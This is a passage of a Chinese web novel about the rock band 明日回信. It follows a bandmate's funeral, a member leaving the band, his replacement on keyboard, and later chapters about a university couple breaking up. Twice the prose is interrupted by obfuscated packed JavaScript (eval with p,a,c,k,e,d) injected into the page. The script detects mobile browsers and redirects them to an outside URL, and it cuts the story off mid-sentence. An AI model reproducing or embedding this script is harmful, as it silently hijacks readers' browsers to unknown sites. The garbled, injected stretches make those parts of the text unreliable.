他或许也曾有过无数个想要一了百了的时刻,但都挺过来了,最后只是回家吃了顿饭就被逼得跳楼自尽。无论那天晚上到底发生了什么,元凶显而易见。 对逼死了孔潇的人,他们怎么可能不恨呢? 表哥也是因为知道这些,才提前苦口婆心地劝说他们别乱来。毕竟他们几个本来就没受邀,全是他看在过往交情上才把人带过去的。万一到时候真在灵堂上闹起来了,他也实在不好做人。 表哥停好了车,在下车前又小心翼翼地问谢焰:“小谢,等会儿你要不要戴个口罩之类的?”见谢焰一声不吭,他只好讪笑两下,说:“那你进去以后尽量把头低一点吧。” 几个人跟在表哥后面走进了孔潇的灵堂,最先映入眼帘的便是挂在正中间的遗像。黑白照片里的孔潇笑得温和端正,看起来比现在更年轻些,正如他们最初认识他时的模样。 谢焰想起孔潇生日那天,他在早上出门前与他吻别,两个人互相说了今晚见。如今他们终于再见了,却已经是阴阳两隔。 这个人不是最心软了吗,怎么忍心丢下他呢? 当初明明说过不管怎样都一定不会分开的,结果还是食言了。 谢焰把双手捏成拳,朝孔父孔母那边望去。此时他们正在接受亲友们的吊唁,面色沉痛,不时抹一抹眼泪,看起来十分悲伤。 事情至此,他们或许也感到万分的悔恨,但若是重来一次,他们想必还是会以爱为名把唯一的孩子推入地狱。 “我过去跟姑姑和姑父打个招呼,你们在这边等着,去那边给孔潇上柱香也行,低调一点。”孔潇他表哥又强调了一遍,“千万别乱来啊。” 他话音刚落,就见谢焰正朝孔父孔母走去,并没有低着头,脸色也异常冰冷。表哥慌了,赶紧跟了上去,边拽他衣服边小声说道:“小谢,你去哪儿呢?你可别冲动啊。” 谢焰不顾他的阻拦,大步走到了孔父孔母面前,他们也看到了他。 表哥见拽不动谢焰,连忙挡在孔父孔母的身前,生怕真要发生什么冲突:“小谢,今天不合适,有什么话过后再说。你就算不考虑别的,也得考虑一下孔潇吧?” 孔父孔母虽然从未真正见过谢焰,但此时见这个年轻人不请自来,面色不善,又听侄子称呼他“小谢”,已然明白了他的身份。孔母恨道:“你来这里干什么?你还有脸来!” 谢焰大声反驳:“你们都有脸在这儿哭,我为什么不能来?当初你们拦不住孔潇,现在也拦不住我!” “不是,小谢你冷静点,这真的不合适……”表哥见他倔得不行,只得招呼另外那几个人,“哎,你们也过来啊,劝劝他。” 孔父见谢焰竟还敢来挑衅,气道:“就是你这个混账害了我儿子,现在他人都没了,你还不让他安生!” “他跟我在一起好好的,被你们骗回家后就这样了,到底是谁害了他?”谢焰吼道,“是你们!是你们害死了孔潇!” 在场的所有人都一起看向了这边,孔父孔母被他直戳痛处,当即气急败坏。孔母抬起手来就要扇他耳光,却被他眼疾手快挡住了。他死死抓住孔母的手腕,咬牙切齿道:“我可不会像孔潇一样乖乖任你们摆布。” 孔母看着他凶煞的眼神,有些惊惧了。孔父大声喊道:“保安!保安!把这个闹事的赶出去!” 表哥简直懊悔不已,朝姜珏他们叫道:“你们还愣着干嘛,都过来帮忙啊!” 郭源远第一个跑过来,却是替谢焰挡开了正要制伏他的保安。他人高马大,一个顶俩,左手抱住保安甲的腰,右手抓住保安乙的后衣领,用胳膊肘在谢焰的后背上用力一推:“谢焰,去啊!” 谢焰终于脱了身,转头就跑,竟是要往孔潇的灵位奔去。表哥吓坏了,赶忙要冲上去抓他:“小谢,你疯啦?!” 孔父孔母惊怒交加,火急火燎地也追上去:“你站住!你到底要干什么?!” 在场的其他人见到这情景也惊呆了,都搞不懂那个大闹的年轻人是什么来头,但他这样毕竟是对逝者的大不敬,便有一些人自发地也上来阻拦他。 谢焰距离孔潇的灵位已经不到两米,却再也无法往前一步,有人拽他的胳膊,有人拉扯他的衣服,有人从后面抱住了他的腰。他只不过是想和深爱的人在一起,但在爱人的生前死后,他们之间总有那么多、那么坚固的障碍。 “放开我!你们没资格拦我见孔潇!” “你这个疯子!你再闹我们就报警了!” “小伙子,有话好说,在这种地方不能乱来啊!” 整个灵堂都乱成了一团,而黑白色的孔潇面带温柔的微笑,安静地看着这一切。 是时候了。 谢焰忽然朝姜珏看去,向她使了个眼色。姜珏早就趁乱来到了孔潇的灵位旁边,这时她趁所有人都没注意,眼疾手快从墙上摘走了孔潇的遗像。 “啊——”孔母一声惊叫,“拦、拦住她!” 孔父竟是直接晕了过去。 她这举动太过惊世骇俗,直接把所有人都吓到了。有的人反应过来,连忙要去拦她,而姜玺和郭源远早有准备,帮她挡住周围的牵制,护她抱着孔潇的遗像逃离现场。 表哥见他们这坏事干得行云流水、一气呵成,显然是早就做好了谋划,欲哭无泪道:“不是说好不闹的吗?” 姜珏头也不回地往灵堂外狂奔:“谁答应你了?” 谢焰也趁乱脱了身,跟着其他三人一起往外埋头冲刺,把追赶的人都甩在了后面。表哥又气又无奈地一跺脚,也跟着他们一起跑了。五个人冲到汽车旁边,着急忙慌地钻进车里,发动汽车绝尘而去。 “你们早盘算好了要来大闹灵堂是不是?”表哥愤恨地捶了一把方向盘,“往后我是没脸再见姑姑了,都成全家族的罪人了!” 今天这冒天下之大不韪的荒唐行径,正是他们对孔父孔母的故意挑衅与冒犯,是为他们的挚友和爱人的一次复仇。 他们来迟了,但他们终究绑走了孔潇。 姜珏把孔潇的遗照递给了谢焰。谢焰接过来,与照片中的爱人对视着,微颤的手指抚过那对最熟悉的眉眼。他的眼泪掉落在孔潇脸上,突然把遗照紧紧地抱在怀里,放声大哭。 姜珏和姜玺同样都落泪了,郭源远也在压抑地啜泣。孔潇他表哥重重地叹息一声,抹掉眼泪:“算了。” 分别时,大家把遗照留给了谢焰带回去。姜玺有些不放心他:“一个人别想不开,有什么需要帮忙的就跟我们说。” 谢焰点点头:“会的,我先回去了。” 姜珏和姜玺正打算跟郭源远也告别,郭源远却提议:“今晚我们仨一起吃个饭吧。” 三个人就近找了家烤肉店,因为惦记着孔潇的事,心里都沉甸甸的,吃东西的兴致也不太高。郭源远对着烤盘忙活了半天,跟分配任务似的把肉夹进姐妹俩的碗里:“都敞开了吃啊,点了那么多肉呢,别浪费了。” 姜珏边吃边道:“行了,你也消停会儿,烤不完的打包吧。” 郭源远放下烤肉夹子,把双手放在大腿上,突然带着几分郑重开了口:“跟你们说个事。” “什么?”姜珏头也不抬地问。 “我,我决定要回老家了。” 姜珏诧异道:“今年这么早?”按照惯例,郭源远怎么的也得等到过年前再回去吧。 姜玺却已经明白了什么,问:“以后就不回来了吗?” 郭源远垂眼看着面前的碗碟,用力一点头:“嗯。” 姜珏这才听懂了他话里的意思,错愕地放下了筷子,道:“这么突然……老郭,你真想好了?” “其实六月份的时候我爸中风了一次,一直也没跟你们说。他身体本来就不算好,这下更是雪上加霜了。我妈让我辞了这边的工作,回去跟着我大姨跑生意。他们年纪也越来越大了,趁现在还有时间,我是该多陪陪他们。” 郭源远喝了几口茶水,说:“我这人确实没多大本事,工作就得过且过地干着,眼看着都快三十了兜里也没攒下几个钱,心思全放乐队上去了。玩乐队是真的开心,但也是真的挣不来钱。其实我是没所谓的,但我总不能只顾着自己快活,人长大了,还是得干点正经事吧。” 即使是最不甘于去干“正经事”的姜珏,此时也说不出什么挽留的话。那些理想让步于现实的无奈,她最明白。 “之前公司定了巡演,我就想着这回最后再好好地演一轮,等巡演完了再跟你们说这事。结果现在孔潇人没了,巡演肯定也去不成了,可能还是运气不够吧。”郭源远仰头喝干了杯里的茶水,又笑道,“不过也已经够幸运了,当初参加比赛时本来都被淘汰了的,明日回信又把我借过来,最后一路拿到全国第六名。我也没想到会跟你们混那么久,一转眼都八年了,真的特别开心。” 郭源远捏紧了手里的杯子:“但再开心的事也有散场的时候,就……到这儿吧。” 明日回信又失去了一名成员。 桌上沉默着,姜珏突然问:“哪天走?” “下周我就去交辞职报告,再把工作交接一下,估计也就这一两周的事了。” 姜玺道:“订好了票跟我们说,我们去送你。” 郭源远见她们这么通情达理地接受了自己的退出,一时更加愧疚:“孔潇刚走,在大家最难受的时候,我又……” “说这些干嘛。”姜珏挤出了笑容来,“今晚这顿不够丰盛,下次再去吃顿好的,正正经经给你送个别。” 第二天是周日,姜玺早上醒来就发现姜珏不见了踪影。她知道她是去哪儿了,通常也只有那一个地方。 姜珏坐在小时候最常攀爬的那棵香樟树上,她一夜没睡,却也并不觉得困倦,脑海中只是一片迷茫。 她起了当年邻居家的那个姐姐,十三岁时她就是在她家里第一次听到了摇滚乐。后来那个姐姐失踪了,直到今天都杳无音信。她的结局是张未璇还是孔潇呢? 那个死在二十七岁的伟大摇滚巨星,在把子弹射向自己的前一秒,又在想些什么? 叶英华面对数万人的大合唱时,有怀念过当初玩摇滚的岁月吗? 方秀湖、孔潇、郭源远,她通过明日回信得到了那么多伙伴,又失去了他们。 组队、排练、争吵、玩闹、演出、成名、信任、扶持,如果散场也是玩乐队的一个必然经历,那她想她终于得到了完整的体验。 她记起了选秀拿到全国第六的时候,凭借首张专辑斩获最佳新人奖的时候,大家第一次踏上巡演的时候。那回他们在末场演出结束后一起走回酒店,在一个满天繁星的夏季夜晚,笑着说将来每年都要出来巡演,还要去峤山体育馆开演唱会。一闭上眼睛,仿佛还能感受到那时吹过的夜风。然而睁开眼睛,发现什么也无法握住。 梦想正是因为永远都遥不可及,所以才格外迷人对吗? “姜珏,下来。吃饭了。”姜玺在树下叫她,就像小时候经常做的那样。 “哦。”姜珏应声从树上下来。太久没爬树,动作都不如从前麻利了。 姜玺看见她顶着一对黑眼圈,便知道她一夜没睡:“夜猫爬树,也不怕掉下来。” “也摔不死。” “往后有什么打算吗?” “本来想着巡演前把这份工作辞掉,既然都去不成了,还是好好干下去吧。”姜珏感慨道,“像你这样就挺好的,什么都没耽误。往后我也得脚踏实地一点,多干些正经事吧。” 她没精打采地垂着头,忽然又低笑了两声:“反正明日回信也不在了。” 姜玺扶着她的肩膀,却轻声说道:“只要你还在,明日回信就在。” 姜珏怔了一瞬,泪水霎时间漫上眼眶,倾身抱住了姐姐。 她的脸埋在姜玺颈间,姜玺知道她在哭。这个从不会展露脆弱,或者根本就从不会脆弱的妹妹,在长大后第一次这样放肆地宣泄自己的泪水。 她在姜玺怀里不停抽噎,一度哭得上气不接下气。姜玺感觉到肩颈湿意蔓延,温柔地在她后背拍抚。 直到姜珏渐渐停下了哭泣,在姜玺衣服上蹭干净脸,情绪重新变得平和。 她吸了吸鼻子,只说了一个字:“行。” 谢焰回到自己家里,把孔潇的遗照摆在了床头柜子上。这里四处都还留有孔潇的气息,他的行李也还留着。本以为他们会在这里一起生活很久,度过下一个或再下一个八年,但一切都在那天戛然而止。 如果那天拦住他回家就好了。 谢焰回想起来,孔潇从家里出逃后,心里还有一件最在乎、最期待的事——十月下旬的乐队巡演。即使抑郁情绪笼罩,每当说起巡演,他的眼里也会有了光彩。 他也记得孔潇在舞台上的样子,总是习惯站在姜珏左边,双手游刃有余地操控键盘,会随着节奏轻轻摇摆身体,弹到兴奋处时还会闭上双眼仰起头来。看惯了他平时温和内敛的模样,便觉得舞台上的他更叫人着迷。 孔潇走得那么突然,就这样离开了倾注心血的乐队,放弃了期待已久的巡演,不遗憾吗? 谢焰借助酒精睡了一天一夜,醒来后洗了个澡,从衣柜里翻出一顶孔潇留下的帽子,戴在自己头上,压了压帽檐,出门去了乐团。 他向团里请了长假,领导很不能理解:“小谢,新年音乐会现在就得开始排练了,好好抓住这次机会,将来你还是有希望当首席的。突然请这么久的假是要干什么?” 谢焰说:“要去做件特别重要的事,如果实在请不了假,那我也只好辞职了。” 然后又去到平时兼职的艺培机构,给正在带教的学生上完最后一次课,说:“以后我就没时间再过来上课了,他们会给你换个新老师。” 学生问他:“那你还会回来吗?” 他想了想,道:“应该不会了。” 出来后,他从手机里翻找到姜珏的号码,拨了过去,一接通就直说道:“我代替孔潇跟你们去巡演。” 姜珏不可置信道:“你?!” “还有十六天,我从现在开始练琴,应该能行。”谢焰说,“你们什么时候有空?大家碰个头,顺便把谱子给我。” 姜珏挂了电话就立马打给了孔潇他表哥,厚着脸皮问:“我们还能免费用琴行的排练室吗?” 表哥怒道:“做你的大头梦!” 但琴行毕竟也有孔潇的一半,表哥就算不给他们脸,多少也得给孔潇个面子,最后还是让他们享受了五折优惠。 定下了巡演的事,谢焰开始没日没夜地练琴。他弹钢琴二十多年了,基本功足够扎实,手指机能也足够强大,但古典钢琴和流行键盘在演奏上完全是两个路数,要在这么短的时间内修炼成一个足以替代孔潇的键盘手,并不容易。 他用的是孔潇留下的那台Nord Stage2合成器,一个个去认识那些眼花缭乱的按钮,熟悉各种音色,学着怎样控制弯音轮和调制轮,怎样融合效果器。反反复复去听明日回信的歌,看他们以往的演出视频,研究功能谱,拆解和琢磨每一个和弦、每一条音阶,如何配合律动。每天除了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜珏则在陌生新鲜的环境里又得到了许多灵感,而谢焰也在旅途中冲淡了爱人逝去的悲伤。他发现键盘演奏比曾经以为的要有意思得多,也不禁开始思考,以后还回乐团吗?或者说,自己旷工了那么久,乐团还要他吗? 两个月很快过去,十二站演出顺利完成。年底已至,也到了郭源远要和大家告别的时候。 那天姜珏姜玺和谢焰一起去机场送他,郭源远把他的架子鼓拆卸了托运回去,还大包小包的带了不少特产,毕竟以后就不容易吃到这么正宗的了。 因为早就知道今日要有这一别,大家都没有太过伤感。最后一次见面还是带着笑容吧,即使必须要说再见。 郭源远进安检前,姜珏在他胸前锤了一把,笑道:“老郭,你以后可努力长点脑子吧。” 郭源远嘿嘿笑了两声:“我尽量。” 姜玺道:“下回再见可能就是郭老板了,将来发财可别忘了我们。” “怎么会。”郭源远打包票,“你们要是再出专辑,我买十张起步。” 谢焰对他说:“将来一切顺利。” 郭源远点点头,与三个人一一拥抱,也想起了再也来不了的孔潇。他最后看着他们,还是没能忍住眼泪,说:“能加入明日回信,跟大家一起玩了这么些年,我感觉特别幸运,特别幸福。” 三个人听得动容,姜珏道:“以后去你们那儿巡演,你一定要来啊。” “免票吗?” 姜玺道:“都郭老板了,你还差那点钱?” 大家又笑了起来。 郭源远揉了揉眼睛,道:“真走了。” 他转身往安检口走去,背对着大家挥了挥手,告别了他的理想与青春时代。 姜珏转头问谢焰:“你呢?以后要不要跟我们混?” “有演出就叫我,我尽量去。”谢焰说,“至于加入乐队,我再想想吧。” 姜玺问他:“之后还回乐团吗?” 乐团里太过看重师门,又讲究论资排辈,谢焰其实并不很喜欢里面的氛围。至于在艺培机构教学生,他也不是很有当老师的耐心。于是他道:“应该不回了,打算gap一段时间,好好考虑一下以后要走哪条路。” 姜珏啧啧两声,尽量不带嘲讽地说:“真是有钱人的特权啊。” 谢焰斜了她一眼:“孔潇不在了,少了个人劝架,以后我们俩就少吵一点吧。” 姜珏也斜了回去:“本来也没想跟你吵。” 回去之后,当务之急就是物色一个新鼓手。乐队里成员更替变换是很常见的事,公司签的是明日回信这支乐队,只要核心成员还在,乐队还能正常演出,其他的并不会多加干涉。姜珏在圈里发出招募鼓手的邀请,也托了经纪人帮忙,有意加入乐队的鼓手不少。经过了一段时间的筛选、试演和磨合,最后选定了陈辩作为乐队的新鼓手。 陈辩是一名职业鼓手,最多的时候身兼三个乐队,还开了一个架子鼓教学工作室。年纪比他们大上五六岁,技术出色,经验也相当丰富。陈辩因为还兼别的乐队,只能作为半固定成员加入明日回信,平时会参加排练,演出按场算钱。 选陈辩的好处是他极为专业,坏处是乐队活动还得考虑其他乐队的行程。不过圈里并没有谁是大明星,其实也不那么忙。他虽然有个看起来挺能说会道的名字,本人却话不多,留着一条标志性的麻花大辫子,人称辫(辩)哥。 至于谢焰,虽然嘴上说还没正式加入明日回信,但每次排练和演出都不缺席,还相当积极地参与了新专辑的制作。当初和姜珏说好的不要吵架——当然是不可能的。 次年秋天,明日回信发布第三张专辑《折帆》,突破性地在摇滚中融入了古典音乐元素,运用了大量管弦乐来丰富编曲,被赞为明日回信至今最有音乐性的一张专辑。 年底时,明日回信凭借《折帆》拿下惊鸣奖年度最佳专辑奖,至此他们已成为国内乐队无可争议的佼佼者。 颁奖仪式上,姜珏在发表获奖感言时说道:“这个奖也要送给我们的两个好朋友,是因为你们才有了《折帆》。” 这句话她在第一次站上这个领奖台时就说过,转眼已经过去这么多年。这一路上离去的每个伙伴,仍在她的心里,都在他们的歌里。 拿奖那天晚上她又发了条朋友圈,等来等去也没等到范昭羽的点赞。她心里莫名不爽,找到范昭羽的账号,点开了她的头像。头像是一张穿着正装的公式照,双手抱胸,面带微笑,看起来专业而不失威严。 姜珏嫌弃道:“跟卖保险的似的。”想了想又道:“更像房产中介。” 点开她的朋友圈,最近一条动态是某个当事人感激她帮自己打赢了官司,给她送了面锦旗。 “还有两把刷子嘛。”姜珏犹豫了一下,给她点了个赞。 这天吃晚饭时,姜玺加班还没回来,桌上就只有姜玉梅和姜珏两个人。姜玉梅问她:“你到底还出不出去找工作了,打算在家待业到什么时候?” 姜珏往嘴里塞了块肉,边嚼边说:“再躺几天,我马上就有新工作了。” “这回又是去哪儿打鱼晒网?” “就在我们公司,当制作人,帮别人做唱片。”姜珏故作无奈地摇摇头,“没办法,我太才华横溢了。” “整天就搞些乱七八糟的。” 姜珏有点好奇地问:“妈,现在你怎么都不说我了?想开了?” 姜玉梅道:“说你有用吗?都老大的人了。反正你又没违法犯罪,没在外面欠债让我卖房还钱,也没跟人搞大肚子,自己的日子自己看着过就行了。” 姜珏简直不知是喜是悲:“你对我的要求也太低了。” 姜玉梅眼皮都懒得抬:“不然呢?我又管不了你,你也少在我眼前晃。” 姜珏撇嘴:“你就是瞧不上我呗,姜玺才是你心里的大宝贝。” “你知道就好。” 吃完饭,姜珏照例出门遛个弯。她走到楼下,对着天边的夕阳伸了个懒腰。 她踢了踢脚下的石子,双手插在口袋里,抬头往前走去。 这条注定坎坷的路上,她永远在,明日回信永远在。 16.Little Song(乐迷视角) 吴栖舟在综合楼下等了很久,心里愈发的不耐烦,低头按亮屏幕看了一眼时间,再抬头时终于看见了那个迟到的人。 苏喆两手拎着袋子小跑着过来,气喘吁吁地在他面前停下:“你等挺久了吧?对不起对不起,没想到奶茶店里那么多人,我排了好久的队。” 吴栖舟没好气道:“那家店什么时候人少过?你就不能早点出门吗?非要我在这儿等半天。” “对不起嘛。”苏喆只得又再道歉,“今天是我大意了,下次保证不再犯。别生气了好不好?” 吴栖舟不说话,转身就往校门的方向走去。苏喆连忙跟上,好声好气地哄他:“栖舟,我真知道错了,就别生我气了吧。”见他还是不理自己,又小声叫道:“宝贝。” 吴栖舟总算放慢了步子,还是不太开心地说:“都这学期最后一次聚餐了,就为了等你,今天又得迟到。” “全怪我,等会儿他们要是罚酒,我全替你喝了。”苏喆笑道,“是有点迟了,我们快点走吧。” 两个人来到大学附近的一家餐馆,推门走进包厢里,大家果然都已经来齐了。桌上的各位看见这姗姗来迟的二人,纷纷起哄道:“真是让人好等啊,两位贵宾总算到了。” “不是都考完试了吗,一下午跑哪儿腻歪去了?” “老规矩,自罚三杯啊!” 苏喆把手里的两个袋子都放到桌上,笑道:“之前答应了请大家喝奶茶的,刚才排队耽误了点时间,不好意思了。” 大家见有奶茶喝,立刻就不计较了,都过来挑选自己喜欢的口味。因为都知道他们俩是一对,专门给他们留了相邻的两个座位。吴栖舟和苏喆入了座,晚餐正式开动。 在座的各位都来自学校动漫社,是社里最活跃的一群社员,因为之前常常一起参加活动,于是发展成了关系不错的朋友。眼下本学期刚刚结束,大家就在暑假开始前最后再聚个餐。 虽然今天苏喆请客喝奶茶,但他和吴栖舟毕竟迟到了,一码归一码,惩罚还是少不了的。社长带头给他们倒啤酒,说:“迟到的都得自罚三杯,不能破例啊。你们俩都老社员了,自觉一点。” 吴栖舟不干了:“都请喝奶茶了也不能将功补过吗?” 旁边有人笑道:“奶茶是苏喆请的,要将功补过也得算在他头上,你还得罚呀。” 见社长就要把啤酒倒进吴栖舟面前的杯子里了,苏喆立刻出来替他拦下:“都是因为我下午出门晚了,买奶茶又等太久,所以才连累得栖舟也迟到。这三杯算我的,我替他喝了。” “哎呦,又来了又来了。”坐对面那女生笑道,“怎么每回都这样啊。苏喆,你就真看不得你这心肝宝贝受一点委屈呗?” 有人接茬:“可不是?人家是吴栖舟的专属骑士,尽心尽力地护着,脾气还那么好,人又体贴。吴栖舟,你可真是捡着宝了。” “你们是不知道,上回吴栖舟病了,苏喆天天给他买饭买药,他不爱吃药就哄着吃,那几天恨不得住进人家宿舍里去贴身照顾。做到这个份上都能赶上亲爸妈了。” “你这话说的,人家好好的小情侣给你整出一股□□的味儿。” 一桌子都大笑起来。 苏喆给大家起哄得有些不好意思了:“好了好了,这三杯我喝完,这事就算过了。” 吴栖舟看着他一口气灌下三杯啤酒,小声提醒他:“等会儿别再喝了啊,不然就你这酒量,今晚喝醉了我可不管你。” 苏喆笑着点点头:“我知道的。” 吴栖舟和苏喆同是去年入学,又是同期加入的动漫社,正是在大家的见证下从普通社员变成情侣的。 当初其实是吴栖舟先看上的苏喆,虽然说不上一见钟情,但确实在第一次见到他时就很有好感。苏喆并不是那种令人眼前一亮的大帅哥,他长相偏清秀,性格也温和,待人彬彬有礼,看起来就像班里那个有点小帅,乐于助人,成绩很不错,深受老师和同学喜爱的副班长。 新社员第一次集合那天,吴栖舟看见苏喆站在树荫下,树上的叶子被风吹落,刚好掉在了他头上。他伸手想去抓叶子,叶子却因为他的动作飘移了,一转过身,发现叶子已经落在了地上,又见吴栖舟正在看自己,便有些不好意思地笑了一下。 当时吴栖舟就被这一幕戳中了红心,心想这个人真可爱,他要是也喜欢男的就好了。 从那之后他就开始有意地接近苏喆,所幸苏喆确实是个同道中人,见吴栖舟频繁地主动示好,自然也能明白他的意思。两个人的关系逐渐暧昧,后来就互相捅破了窗户纸,终成眷属。到现在大一结束,两个人在一起也有半年多了。 吴栖舟一度觉得自己非常幸运,正如朋友们所说,他是捡着宝了。虽然一开始是他先主动的,但在一起后苏喆对他完全是无微不至的好,处处细心体贴,温柔耐心,从来不计较他的小脾气,堪称是个从偶像剧里走出来的模范男友,只可惜—— 饭间,社长说起了租房子的事,她下学期就大四了,计划考研,打算出去租个房子好好复习,便问大家有没有了解的房源。 一个学姐说:“你要不去看看教职工宿舍还有没有空房能租,我觉得还是尽量住学校里吧,上课吃饭都方便,治安也比较好。” 有人神神秘秘道:“说到这个,教职工宿舍那边还有个著名的凶宅呢,你找房子的时候注意避开点。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15304428|166269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说起这些大家就有些兴奋了:“凶宅?怎么回事?” “好多年前了吧,我们学校有个教授在家里被杀了,据说还是哪个学院的副院长呢。出了这事以后,楼上楼下和对门都搬走了。就在教职工宿舍二区那边,过去稍微打听一下就知道。” 有人好奇道:“副院长啊。怎么被杀的,仇杀?情杀?入室抢劫?” “那就不知道了。反正小心点吧,也不是说迷信,但挨近凶宅多少有点不吉利。” 肚子差不多吃饱了,大家摩拳擦掌地打算玩点游戏。前不久四六级考试刚结束,趁着辛苦背下的单词还没忘,有人提议:“今天都上进一点,玩个单词接龙吧!” 立马有人叫道:“什么鬼,咱们是动漫社,可不是英语角!” “好不容易刚考完试,不至于到了这儿还得学习吧?” 这时社长发话了:“我看行,今天就玩个上进点的。我来起个头,就从A开始接龙吧。” 邻座的嘲讽道:“你不会要来个abondon吧?” 对面的说:“A就太简单了,想上进就上点难度。” 这时苏喆提议:“那X吧?” 大家听了面面相觑,一下子还真想不到X开头的单词,社长也迷茫了:“有哪个词是X开头的吗?” 苏喆笑道:“X-men啊。” 社长恍然大悟:“这都行!”大家又笑开了。 吴栖舟笑不出来,他低头看了眼时间,忽然很想离开。 游戏就这么进行了下去,几轮玩下来又消耗了几瓶啤酒。苏喆见吴栖舟兴致不高,不是低头看手机就是在发呆神游,便低声问他:“要不我们先走吧?” 吴栖舟转过头看了他一眼:“嗯。” 两个人向大家提出告辞,提前离场了。大家也都理解,毕竟要放暑假了嘛,小情侣即将分别,今晚必然要去腻歪个够。 走出餐馆,苏喆牵住了吴栖舟的手,一边与他十指相扣一边谈论二人的暑假旅行计划:“我觉得要么赶早,要么就晚一点,人不会太多,要不到处人挤人的也玩不好。酒店我之前看了一些,收藏了几家还不错的,到时候发给你来选吧。”又笑道:“还看到有那种情侣主题的酒店,好像还挺有趣,就是两个男生一起去住怪不好意思的。不过如果你想试试,我们就订一个。” 吴栖舟听见他一直在滔滔不绝,那些话钻进了他的耳朵,却进不到他的脑袋里。他抬起头望向夜空,又是一个没有星星的夜晚。 苏喆终于发觉了他的异常,问:“栖舟,你今晚怎么了?” “苏喆。”吴栖舟从他手里抽出了自己的手,终于下定决心,“我们分手吧。” 17.现在现在(乐迷视角) 吴栖舟还记得去年初见苏喆后,他借着帮前辈整理资料的机会看过苏喆的入社申请表。除了学院专业、出生年月这些常规信息之外,他还留意到特长那一栏里写着:钢琴。 嚯,有两下子嘛,还会弹钢琴。吴栖舟看到这里,对苏喆的好感又加深了一层。 后来在动漫社全体新社员的第一次聚会上,破冰游戏玩的是很老土的真心话大冒险。轮到苏喆抽中鬼牌时,他犹豫了一下,选择了真心话。于是吴栖舟迫不及待地问出那个早就准备好的问题:“你的初恋对象是个什么样的人?” 这个问题当然是暗藏玄机,既能打探到苏喆的情史,又能通过他的描述窥探他的性向。当时苏喆答道:“他特别厉害,是个弹钢琴的高手。” “外表呢?” 苏喆想了想:“他手腕上有一个X的纹身。” “纹身是她(他)的名字吗?” “算是吧。” 算是?这个答案真是奇怪。 也不知道苏喆是太有心机还是太愣——混熟之后确定了是后者。总之那回吴栖舟没能从他的回答里抓到什么太有用的信息,连他的初恋从何时开始,持续了多久,单恋还是相恋,对方是女是男都没摸清楚。 但这些其实也不那么重要,重要的是他现在单身吗?在后来的游戏和攀谈里,吴栖舟确定了苏喆正是光棍一条,于是他就开始行动了—— 学校好大啊,好多地方都还没去过,要不要一起逛逛? 原来你是本地人,有什么好吃好玩的推荐一下吗? 你眼睛进沙子了?我帮你吹吹吧。 社长确实长得很漂亮,不过我不喜欢女生哦。 一段时间下来,就算苏喆再迟钝,也能明白吴栖舟的心意了。 苏喆接受了他的礼物,并送出了回礼,答应了他的邀约,又主动约他去玩。两个人一起参加社团活动,一起在夜晚的校道上散步,每天要抱着手机聊上很久。吴栖舟窃喜地想,苏喆应该也对自己动心了吧。就在他谋划着要怎么把关系正式挑明时,苏喆先向他表白了。 其实后来回想起来,苏喆也许只是因为身边刚好出现了一个不错的对象,又足够主动,于是就顺势发展成了恋人。心里真有多喜欢吗?也未必。 不过不管怎样,刚在一起的日子确实非常开心。两个年轻人初坠爱河,荷尔蒙爆炸式地分泌,每天你侬我侬、如胶似漆,吴栖舟幸福得都有点晕头转向了。 他知道苏喆很好,但没想到这么好,总把他捧在手心里疼爱,还拥有这个年纪的男生很罕见的体贴与包容。他脾气不算好,也有点任性,苏喆就总会耐心地给他顺毛,逗他高兴,直到他自己都不好意思再摆脸了。 吴栖舟开玩笑地问过苏喆:“你真是第一次谈恋爱吗?我怎么感觉你经验那么丰富啊。” 苏喆认真地说:“真是第一次,对人好也不需要什么经验吧。” 吴栖舟笑问:“那你以前暗恋的那个人呢,没在一起吗?” “没有啊,那时候他已经有对象了,而且他比我大很多呢。”苏喆说道,“我们早都没有联系了。” 吴栖舟听完也并不在意,毕竟那都是很久之前的事了,现在苏喆满心满眼都是他。 但是后来他发现,不是这样的。 他们之间有另一个人存在的痕迹,即使他试图说服自己不要多想,不要去做一些没有证据的假设,但那些可疑的痕迹总在某个甜蜜的时刻忽然降临,给他的满腔爱恋泼上一盆冷水。 有一次两个人出去玩,逛到的商场中庭正好有一台公共钢琴。吴栖舟便想起了苏喆在入社申请表上写的那个特长,对他说:“你不是会弹钢琴吗,要不要去露一手?” 苏喆有些意外:“你怎么知道我会这个?” 吴栖舟笑道:“你别管,反正我就是知道。你快去嘛,我还没见过你弹琴呢。” 苏喆说:“我就是以前学过一点皮毛,弹得不好,而且也好久没碰了,都忘得差不多了。” “那我想看你弹琴啊,就弹个小星星也好。”吴栖舟非要闹他,“去嘛去嘛。” 但苏喆就是不肯:“这儿那么多人呢,我就不去丢人现眼了。而且那琴看着挺老了,说不定好些琴键都不响了,换个高手去弹都未必能弹得好。” 吴栖舟不开心道:“不去就不去,算了。” 刚好前面就有冰淇淋店,苏喆问他:“想吃冰淇淋吗?我去给你买一个吧,还是要双头华夫脆?” 吴栖舟便不计较了,点点头:“嗯。” 就在他美滋滋地舔着冰淇淋时,却见苏喆正望着中庭的那台钢琴出神。 他明明不愿去弹,这时又在对着钢琴思考什么、怀念什么呢? 哦,他的初恋对象是个钢琴高手,手腕上还有一个X的纹身。 苏喆也许早就忘记自己曾在初见时说过这些,但吴栖舟记得。 社团聚餐时总爱玩点小游戏,有一回玩的是猜词,每个人都要在纸条上随便写点什么,然后由两人一组来比划猜。有人写了成语,有人写了人名,有人写了英文单词,而苏喆写的是单个字母X。 吴栖舟坐在他旁边,一斜眼就看到了,顿时心里一堵,问他:“为什么写了X?” 